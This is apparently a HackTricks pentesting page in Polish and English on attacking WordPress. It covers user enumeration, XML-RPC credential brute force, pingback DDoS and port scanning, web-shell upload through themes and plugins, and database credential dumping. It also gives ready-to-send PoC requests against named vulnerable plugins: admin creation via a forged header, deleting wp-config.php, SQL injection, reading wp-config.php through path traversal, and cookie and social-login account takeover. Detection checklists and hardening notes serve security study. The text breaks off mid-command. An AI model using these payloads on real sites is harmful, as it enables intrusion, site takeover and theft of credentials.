Wordpress

Reading time: 32 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Podstawowe informacje

  • Przesłane pliki trafiają do: http://10.10.10.10/wp-content/uploads/2018/08/a.txt

  • Pliki motywów można znaleźć w /wp-content/themes/, więc jeśli zmienisz jakiś php motywu, aby uzyskać RCE, prawdopodobnie będziesz korzystać z tej ścieżki. Na przykład: używając theme twentytwelve możesz dostęp do pliku 404.php pod adresem: /wp-content/themes/twentytwelve/404.php

  • Inny przydatny adres URL może być: /wp-content/themes/default/404.php

  • W wp-config.php możesz znaleźć hasło roota do bazy danych.

  • Domyślne ścieżki logowania do sprawdzenia: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Główne pliki WordPress

  • index.php
  • license.txt zawiera przydatne informacje, takie jak zainstalowana wersja WordPress.
  • wp-activate.php jest używany do procesu aktywacji przez e-mail przy zakładaniu nowej witryny WordPress.
  • Foldery logowania (mogą być przemianowane, aby je ukryć):
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php
  • xmlrpc.php to plik reprezentujący funkcję WordPress umożliwiającą przesyłanie danych z użyciem HTTP jako mechanizmu transportu i XML jako mechanizmu kodowania. Ten typ komunikacji został zastąpiony przez WordPress REST API.
  • Folder wp-content to główny katalog, w którym przechowywane są pluginy i motywy.
  • wp-content/uploads/ to katalog, w którym przechowywane są wszystkie pliki przesłane na platformę.
  • wp-includes/ to katalog, gdzie przechowywane są pliki rdzenia, takie jak certyfikaty, czcionki, pliki JavaScript i widgety.
  • wp-sitemap.xml W wersjach WordPress 5.5 i nowszych, WordPress generuje plik sitemap XML ze wszystkimi publicznymi wpisami oraz publicznie queryable typami postów i taksonomiami.

Post exploitation

  • Plik wp-config.php zawiera informacje wymagane przez WordPress do połączenia z bazą danych, takie jak nazwa bazy danych, host bazy danych, nazwa użytkownika i hasło, klucze uwierzytelniania i salts oraz prefiks tabel bazy danych. Ten plik konfiguracyjny może być również użyty do włączenia trybu DEBUG, co może być przydatne przy rozwiązywaniu problemów.

Uprawnienia użytkowników

  • Administrator
  • Editor: Publikuje i zarządza własnymi i cudzymi wpisami
  • Author: Publikuje i zarządza własnymi wpisami
  • Contributor: Pisze i zarządza swoimi wpisami, ale nie może ich publikować
  • Subscriber: Przegląda wpisy i edytuje swój profil

Passive Enumeration

Sprawdź wersję WordPress

Sprawdź, czy możesz znaleźć pliki /license.txt lub /readme.html

W kodzie źródłowym strony (przykład z https://wordpress.org/support/article/pages/):

  • grep
bash
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • Pliki linków CSS

  • Pliki JavaScript

Pobierz wtyczki

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Pobierz motywy

bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Wyodrębnianie wersji — ogólnie

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Aktywna enumeracja

Wtyczki i motywy

Prawdopodobnie nie uda Ci się znaleźć wszystkich możliwych wtyczek i motywów. Aby odkryć je wszystkie, będziesz musiał actively Brute Force a list of Plugins and Themes (miejmy nadzieję, że istnieją zautomatyzowane narzędzia zawierające te listy).

Użytkownicy

  • ID Brute: Uzyskujesz poprawnych użytkowników z serwisu WordPress przez Brute Forcing ID użytkowników:
bash
curl -s -I -X GET http://blog.example.com/?author=1

Jeśli odpowiedzi mają status 200 lub 30X, to oznacza, że id jest prawidłowe. Jeśli odpowiedź ma status 400, to id jest nieprawidłowe.

  • wp-json: Możesz także spróbować uzyskać informacje o użytkownikach, zapytując:
bash
curl http://blog.example.com/wp-json/wp/v2/users

Kolejny endpoint /wp-json/, który może ujawnić pewne informacje o użytkownikach, to:

bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Zwróć uwagę, że ten endpoint ujawnia tylko użytkowników, którzy opublikowali wpis. Dostarczone będą tylko informacje o użytkownikach, którzy mają tę funkcję włączoną.

Również zwróć uwagę, że /wp-json/wp/v2/pages może powodować leak adresów IP.

  • Login username enumeration: Podczas logowania w /wp-login.php komunikat jest inny i wskazuje, czy podany username istnieje czy nie.

XML-RPC

Jeśli xml-rpc.php jest aktywny, możesz przeprowadzić brute-force poświadczeń lub użyć go do przeprowadzenia DoS na inne zasoby. (Możesz zautomatyzować ten proces using this na przykład).

Aby sprawdzić, czy jest aktywny, spróbuj uzyskać dostęp do /xmlrpc.php i wysłać to żądanie:

Sprawdź

html
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce

wp.getUserBlogs, wp.getCategories lub metaWeblog.getUsersBlogs są niektórymi z metod, które można użyć do brute-force credentials. Jeśli znajdziesz którąkolwiek z nich, możesz wysłać coś takiego:

html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

Komunikat "Nieprawidłowa nazwa użytkownika lub hasło" w odpowiedzi z kodem 200 powinien się pojawić, jeśli dane logowania są nieprawidłowe.

Używając poprawnych danych logowania możesz przesłać plik. W odpowiedzi pojawi się ścieżka (https://gist.github.com/georgestephanis/5681982)

html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Also there is a faster way to brute-force credentials using system.multicall as you can try several credentials on the same request:

Bypass 2FA

Metoda ta jest przeznaczona dla programów, nie dla ludzi, i jest stara, więc nie obsługuje 2FA. Jeśli więc masz ważne creds, ale główny dostęp jest chroniony przez 2FA, możesz być w stanie wykorzystać xmlrpc.php, aby zalogować się tymi creds, omijając 2FA. Zauważ, że nie będziesz w stanie wykonać wszystkich akcji dostępnych przez konsolę, ale nadal możesz uzyskać RCE, jak wyjaśnia Ippsec w https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS or port scanning

If you can find the method pingback.ping inside the list you can make the Wordpress send an arbitrary request to any host/port.
This can be used to ask thousands of Wordpress sites to access one location (so a DDoS is caused in that location) or you can use it to make Wordpress to scan some internal network (you can indicate any port).

html
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Jeśli otrzymasz faultCode o wartości większej niż 0 (17), oznacza to, że port jest otwarty.

Zwróć uwagę na użycie system.multicall w poprzedniej sekcji, aby dowiedzieć się, jak nadużyć tej metody, by spowodować DDoS.

DDoS

html
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Ten plik zwykle znajduje się w katalogu root strony Wordpress: /wp-cron.php
Kiedy do tego pliku jest uzyskany dostęp, wykonywane jest "heavy" MySQL query, więc może być użyty przez atakujących do spowodowania DoS.
Ponadto, domyślnie wp-cron.php jest wywoływany przy każdym ładowaniu strony (za każdym razem, gdy klient żąda dowolnej strony Wordpress), co na stronach o dużym ruchu może powodować problemy (DoS).

Zaleca się wyłączyć Wp-Cron i utworzyć prawdziwe cronjob na hoście, które będą wykonywać potrzebne akcje w regularnych odstępach (bez powodowania problemów).

/wp-json/oembed/1.0/proxy - SSRF

Spróbuj uzyskać dostęp do https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net a strona Worpress może wysłać żądanie do Ciebie.

This is the response when it doesn't work:

SSRF

https://github.com/t0gu/quickpress/blob/master/core/requests.go

To narzędzie sprawdza, czy istnieje methodName: pingback.ping oraz ścieżka /wp-json/oembed/1.0/proxy, a jeśli tak, próbuje je wykorzystać.

Narzędzia automatyczne

bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Uzyskanie dostępu przez nadpisanie bitu

To bardziej ciekawostka niż prawdziwy atak. W CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man można było zmienić 1 bit w dowolnym pliku wordpress. Dzięki temu można było zmienić bit na pozycji 5389 w pliku /var/www/html/wp-includes/user.php, aby zastąpić operację NOT (!) instrukcją NOP.

php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Panel RCE

Modyfikacja pliku php w używanym motywie (admin credentials needed)

Wygląd → Edytor motywu → Szablon 404 (po prawej)

Zmień zawartość na php shell:

Wyszukaj w internecie, jak uzyskać dostęp do zaktualizowanej strony. W tym przypadku musisz wejść tutaj: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Możesz użyć:

bash
use exploit/unix/webapp/wp_admin_shell_upload

to get a session.

Plugin RCE

PHP plugin

Może być możliwe przesłanie plików .php jako wtyczki.
Utwórz swój backdoor w PHP używając na przykład:

Następnie dodaj nową wtyczkę:

Prześlij wtyczkę i naciśnij "Install Now":

Kliknij "Proceed":

Prawdopodobnie pozornie nic się nie stanie, ale jeśli przejdziesz do Media, zobaczysz przesłany shell:

Otwórz go, a zobaczysz URL do wykonania reverse shell:

Uploading and activating malicious plugin

Ta metoda polega na instalacji złośliwej wtyczki znanej z podatności, którą można wykorzystać do uzyskania web shella. Proces przeprowadza się przez WordPress dashboard w następujący sposób:

  1. Plugin Acquisition: Wtyczka jest pobierana ze źródła takiego jak Exploit DB, np. here.
  2. Plugin Installation:
  • Przejdź do pulpitu WordPress, następnie do Dashboard > Plugins > Upload Plugin.
  • Prześlij plik zip z pobraną wtyczką.
  1. Plugin Activation: Po pomyślnej instalacji wtyczka musi zostać aktywowana poprzez pulpit.
  2. Exploitation:
  • Po zainstalowaniu i aktywowaniu wtyczki "reflex-gallery" można ją wykorzystać, ponieważ jest znana z podatności.
  • Framework Metasploit dostarcza exploit dla tej podatności. Ładując odpowiedni moduł i wykonując konkretne polecenia można uzyskać sesję meterpreter, co daje nieautoryzowany dostęp do strony.
  • Należy zaznaczyć, że jest to tylko jedna z wielu metod eksploatacji strony WordPress.

Treść zawiera ilustracje przedstawiające kroki w dashboardzie WordPress związane z instalacją i aktywacją wtyczki. Ważne jest jednak, aby pamiętać, że wykorzystywanie podatności w ten sposób jest nielegalne i nieetyczne bez odpowiedniej autoryzacji. Informacje te powinny być wykorzystywane odpowiedzialnie i jedynie w kontekście prawnym, np. podczas testów penetracyjnych z wyraźnym pozwoleniem.

For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/

From XSS to RCE

  • WPXStrike: WPXStrike to skrypt zaprojektowany do eskalacji podatności typu Cross-Site Scripting (XSS) do Remote Code Execution (RCE) lub innych krytycznych podatności w WordPress. Po więcej informacji zobacz this post. Dostarcza wsparcie dla wersji Wordpress 6.X.X, 5.X.X i 4.X.X i pozwala na:
  • Privilege Escalation: Tworzy użytkownika w WordPress.
  • (RCE) Custom Plugin (backdoor) Upload: Wgraj swój niestandardowy plugin (backdoor) do WordPress.
  • (RCE) Built-In Plugin Edit: Edytuj wbudowane wtyczki w WordPress.
  • (RCE) Built-In Theme Edit: Edytuj wbudowane motywy w WordPress.
  • (Custom) Custom Exploits: Niestandardowe exploity dla wtyczek/motywów firm trzecich WordPress.

Post Exploitation

Wyodrębnij nazwy użytkowników i hasła:

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Zmień admin password:

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Pentest wtyczek Wordpress

Powierzchnia ataku

Znajomość sposobu, w jaki wtyczka Wordpress może ujawniać funkcjonalność, jest kluczowa do znalezienia podatności w jej funkcjonalnościach. Możesz znaleźć, jak wtyczka może udostępniać funkcje, w poniższych punktach oraz kilka przykładów podatnych wtyczek w this blog post.

  • wp_ajax

Jednym ze sposobów, w jaki wtyczka może udostępniać funkcje użytkownikom, jest za pośrednictwem AJAX handlers. Mogą one zawierać błędy w logice, autoryzacji lub uwierzytelnianiu. Co więcej, dość często funkcje te będą opierać zarówno uwierzytelnianie, jak i autoryzację na istnieniu wordpress nonce, które każdy użytkownik uwierzytelniony w instancji Wordpress może mieć (niezależnie od jego roli).

To są funkcje, które mogą być użyte do udostępnienia funkcji we wtyczce:

php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

Użycie nopriv sprawia, że endpoint jest dostępny dla wszystkich użytkowników (nawet niezalogowanych).

caution

Co więcej, jeśli funkcja jedynie sprawdza autoryzację użytkownika za pomocą funkcji wp_verify_nonce, to ta funkcja tylko weryfikuje, czy użytkownik jest zalogowany, zwykle nie sprawdza roli użytkownika. W rezultacie użytkownicy o niskich uprawnieniach mogą mieć dostęp do działań wymagających wyższych uprawnień.

  • REST API

Możliwe jest również udostępnienie funkcji z wordpress poprzez zarejestrowanie REST API za pomocą funkcji register_rest_route:

php
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

The permission_callback jest funkcją zwrotną, która sprawdza, czy dany użytkownik jest uprawniony do wywołania metody API.

Jeśli użyta zostanie wbudowana funkcja __return_true, po prostu pominie sprawdzenie uprawnień użytkownika.

  • Bezpośredni dostęp do pliku PHP

Oczywiście Wordpress używa PHP, a pliki wewnątrz wtyczek są bezpośrednio dostępne z internetu. Jeśli wtyczka ujawnia jakąkolwiek podatną funkcjonalność, która jest uruchamiana po samym dostępie do pliku, będzie ona możliwa do wykorzystania przez dowolnego użytkownika.

Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)

Niektóre wtyczki implementują skróty “trusted header” dla integracji wewnętrznych lub reverse proxy i następnie używają tego nagłówka do ustawienia kontekstu bieżącego użytkownika dla żądań REST. Jeśli nagłówek nie jest kryptograficznie powiązany z żądaniem przez komponent upstream, atakujący może go sfałszować i uzyskać dostęp do uprzywilejowanych tras REST jako administrator.

  • Impact: eskalacja uprawnień bez uwierzytelnienia do administratora przez utworzenie nowego administratora za pomocą core users REST route.
  • Example header: X-Wcpay-Platform-Checkout-User: 1 (wymusza user ID 1, zazwyczaj pierwsze konto administratora).
  • Exploited route: POST /wp-json/wp/v2/users with an elevated role array.

PoC

http
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114

{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}

Why it works

  • The plugin maps a client-controlled header to authentication state and skips capability checks.
  • WordPress core expects create_users capability for this route; the plugin hack bypasses it by directly setting the current user context from the header.

Expected success indicators

  • HTTP 201 with a JSON body describing the created user.
  • A new admin user visible in wp-admin/users.php.

Detection checklist

  • Grep for getallheaders(), $_SERVER['HTTP_...'], or vendor SDKs that read custom headers to set user context (e.g., wp_set_current_user(), wp_set_auth_cookie()).
  • Review REST registrations for privileged callbacks that lack robust permission_callback checks and instead rely on request headers.
  • Look for usages of core user-management functions (wp_insert_user, wp_create_user) inside REST handlers that are gated only by header values.

Nieautoryzowane dowolne usuwanie plików przez wp_ajax_nopriv (Litho Theme <= 3.0)

WordPress themes and plugins frequently expose AJAX handlers through the wp_ajax_ and wp_ajax_nopriv_ hooks. When the nopriv variant is used the callback becomes reachable by unauthenticated visitors, so any sensitive action must additionally implement:

  1. A capability check (e.g. current_user_can() or at least is_user_logged_in()), and
  2. A CSRF nonce validated with check_ajax_referer() / wp_verify_nonce(), and
  3. Strict input sanitisation / validation.

The Litho multipurpose theme (< 3.1) forgot those 3 controls in the Remove Font Family feature and ended up shipping the following code (simplified):

php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir  = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();

if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data',        'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );

Problemy wprowadzone przez ten fragment:

  • Dostęp bez uwierzytelnienia – hook wp_ajax_nopriv_ jest zarejestrowany.
  • Brak sprawdzenia nonce / uprawnień – każdy odwiedzający może trafić w endpoint.
  • Brak sanityzacji ścieżki – ciąg kontrolowany przez użytkownika fontfamily jest konkatenowany do ścieżki systemu plików bez filtrowania, umożliwiając klasyczne przejście ../../.

Eksploatacja

Atakujący może usunąć dowolny plik lub katalog poniżej katalogu bazowego uploads (zwykle <wp-root>/wp-content/uploads/) wysyłając jedno żądanie HTTP POST:

bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'

Because wp-config.php lives outside uploads, four ../ sequences are enough on a default installation. Deleting wp-config.php forces WordPress into the installation wizard on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).

Other impactful targets include plugin/theme .php files (to break security plugins) or .htaccess rules.

Detection checklist

  • Any add_action( 'wp_ajax_nopriv_...') callback that calls filesystem helpers (copy(), unlink(), $wp_filesystem->delete(), etc.).
  • Concatenation of unsanitised user input into paths (look for $_POST, $_GET, $_REQUEST).
  • Absence of check_ajax_referer() and current_user_can()/is_user_logged_in().

Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")

Many plugins implement a "view as role" or temporary role-switching feature by saving the original role(s) in user meta so they can be restored later. If the restoration path relies only on request parameters (e.g., $_REQUEST['reset-for']) and a plugin-maintained list without checking capabilities and a valid nonce, this becomes a vertical privilege escalation.

A real-world example was found in the Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). The reset branch restored roles based on reset-for=<username> if the username appeared in an internal array $options['viewing_admin_as_role_are'], but performed neither a current_user_can() check nor a nonce verification before removing current roles and re-adding the saved roles from user meta _asenha_view_admin_as_original_roles:

php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];

if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}

Dlaczego jest to podatne

  • Polega na zaufaniu do $_REQUEST['reset-for'] i opcji wtyczki bez autoryzacji po stronie serwera.
  • Jeśli użytkownik wcześniej miał wyższe uprawnienia zapisane w _asenha_view_admin_as_original_roles i został zdegradowany, może je przywrócić, przechodząc na ścieżkę resetu.
  • W niektórych wdrożeniach każdy uwierzytelniony użytkownik mógł wywołać reset dla innej nazwy użytkownika nadal obecnej w viewing_admin_as_role_are (błędna autoryzacja).

Eksploatacja (przykład)

bash
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'

W podatnych wersjach usuwa to bieżące role i ponownie dodaje zapisane oryginalne role (np. administrator), efektywnie eskalując uprawnienia.

Detection checklist

  • Szukaj funkcji przełączania ról, które przechowują “oryginalne role” w user meta (np. _asenha_view_admin_as_original_roles).
  • Zidentyfikuj ścieżki reset/restore, które:
  • Odczytują nazwy użytkowników z $_REQUEST / $_GET / $_POST.
  • Modyfikują role przez add_role() / remove_role() bez current_user_can() i wp_verify_nonce() / check_admin_referer().
  • Autoryzują na podstawie opcji pluginu (np. viewing_admin_as_role_are) zamiast uprawnień aktora.

Niektóre pluginy podłączają pomocniki przełączania użytkownika do publicznego hooka init i odczytują tożsamość z cookie kontrolowanego przez klienta. Jeśli kod wywołuje wp_set_auth_cookie() bez weryfikacji uwierzytelnienia, uprawnień i ważnego nonce, dowolny niezalogowany odwiedzający może wymusić logowanie jako dowolny identyfikator użytkownika.

Typowy podatny wzorzec (uproszczony z Service Finder Bookings ≤ 6.1):

php
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');

function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid);  // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}

Dlaczego jest podatne

  • Publiczny hook init sprawia, że handler jest dostępny dla niezalogowanych użytkowników (brak zabezpieczenia is_user_logged_in()).
  • Tożsamość pochodzi z ciasteczka modyfikowalnego po stronie klienta (original_user_id).
  • Bezpośrednie wywołanie wp_set_auth_cookie($uid) loguje osobę wysyłającą żądanie jako tego użytkownika bez żadnych sprawdzeń uprawnień ani nonce.

Eksploatacja (bez uwierzytelnienia)

http
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close

Rozważania dotyczące WAF dla WordPress/plugin CVEs

Ogólne WAFy brzegowe/serwerowe są skonfigurowane pod kątem szerokich wzorców (SQLi, XSS, LFI). Wiele wysokowpływowych luk WordPress/plugin to błędy logiki/specyfiki aplikacji i autoryzacji, które wyglądają jak nieszkodliwy ruch, chyba że silnik rozumie trasy WordPress i semantykę pluginów.

Offensive notes

  • Celuj w endpointy specyficzne dla pluginów z czystymi payloadami: admin-ajax.php?action=..., wp-json/<namespace>/<route>, custom file handlers, shortcodes.
  • Sprawdź najpierw ścieżki nieautoryzowane (AJAX nopriv, REST z permisywnym permission_callback, public shortcodes). Domyślne payloady często działają bez obfuskacji.
  • Typowe przypadki o wysokim wpływie: eskalacja uprawnień (zepsuta kontrola dostępu), dowolne przesyłanie/pobieranie plików, LFI, open redirect.

Defensive notes

  • Nie polegaj na ogólnych sygnaturach WAF w celu ochrony plugin CVEs. Zaimplementuj łatki wirtualne specyficzne dla podatności na warstwie aplikacji lub szybko aktualizuj.
  • Preferuj podejście pozytywnej polityki bezpieczeństwa w kodzie (capabilities, nonces, ścisła walidacja wejścia) zamiast negatywnych filtrów regex.

WordPress Protection

Regular Updates

Upewnij się, że WordPress, pluginy i motywy są aktualne. Potwierdź także, że automatyczne aktualizacje są włączone w wp-config.php:

bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Ponadto, instaluj tylko zaufane wtyczki i motywy WordPress.

Wtyczki zabezpieczające

Inne zalecenia

  • Usuń domyślnego użytkownika admin
  • Używaj silnych haseł i 2FA
  • Okresowo przeglądaj uprawnienia użytkowników
  • Ogranicz liczbę prób logowania, aby zapobiec atakom Brute Force
  • Zmień nazwę pliku wp-admin.php i zezwalaj na dostęp tylko wewnętrznie lub z określonych adresów IP.

Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)

The WP Job Portal recruitment plugin exposed a savecategory task that ultimately executes the following vulnerable code inside modules/category/model.php::validateFormData():

php
$category  = WPJOBPORTALrequest::getVar('parentid');
$inquery   = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category ";   // <-- direct concat ✗
}
$query  = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later

Problemy wprowadzone przez ten fragment:

  1. Niesanitizowane dane wejściowe użytkownikaparentid pochodzi bezpośrednio z żądania HTTP.
  2. Łączenie łańcuchów znaków w klauzuli WHERE – brak is_numeric() / esc_sql() / prepared statement.
  3. Dostęp bez uwierzytelnienia – chociaż akcja wykonywana jest przez admin-post.php, jedyna kontrola to CSRF nonce (wp_verify_nonce()), który każdy odwiedzający może pobrać ze strony publicznej osadzającej shortcode [wpjobportal_my_resumes].

Wykorzystanie

  1. Pobierz świeży nonce:
bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
  1. Wstrzyknij dowolne zapytanie SQL, wykorzystując parentid:
bash
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='

Odpowiedź ujawnia wynik wstrzykniętego zapytania lub modyfikuje bazę danych, co potwierdza SQLi.

Nieautoryzowane pobieranie dowolnych plików / Path Traversal (WP Job Portal <= 2.3.2)

Inna akcja, downloadcustomfile, pozwalała odwiedzającym pobrać dowolny plik z dysku poprzez path traversal. Wrażliwy punkt znajduje się w modules/customfield/model.php::downloadCustomUploadedFile():

php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output

$file_name jest kontrolowany przez atakującego i konkatenowany bez filtrowania. Ponownie, jedyną przeszkodą jest CSRF nonce, który można pobrać ze strony CV.

Exploitation

bash
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'

Serwer zwraca zawartość wp-config.php, leaking DB credentials and auth keys.

Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)

Wiele motywów/wtyczek dostarcza helpery "social login" udostępnione przez admin-ajax.php. Jeśli nieuwierzytelniona akcja AJAX (wp_ajax_nopriv_...) ufa identyfikatorom przesłanym przez klienta, gdy brak danych providera, a następnie wywołuje wp_set_auth_cookie(), to staje się to pełnym obejściem uwierzytelniania.

Typowy wadliwy wzorzec (uproszczony)

php
public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb':     /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token   */ break;
// other providers ...
default: /* unsupported/missing provider – execution continues */ break;
}

// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');

if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}

$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);

Dlaczego jest to podatne

  • Unauthenticated reachability via admin-ajax.php (wp_ajax_nopriv_… action).
  • Brak sprawdzeń nonce/capability przed zmianą stanu.
  • Brak weryfikacji OAuth/OpenID provider; gałąź domyślna akceptuje dane wejściowe od attacker.
  • get_user_by('email', $_POST['id']) followed by wp_set_auth_cookie($uid) powoduje uwierzytelnienie requestera jako dowolny istniejący adres e-mail.

Wykorzystanie (unauthenticated)

  • Wymagania wstępne: attacker może dotrzeć do /wp-admin/admin-ajax.php i zna/zgaduje prawidłowy adres e-mail użytkownika.
  • Ustaw provider na nieobsługiwaną wartość (lub pomiń go), by trafić do gałęzi domyślnej i przekazać id=<victim_email>.
http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded

action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
bash
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
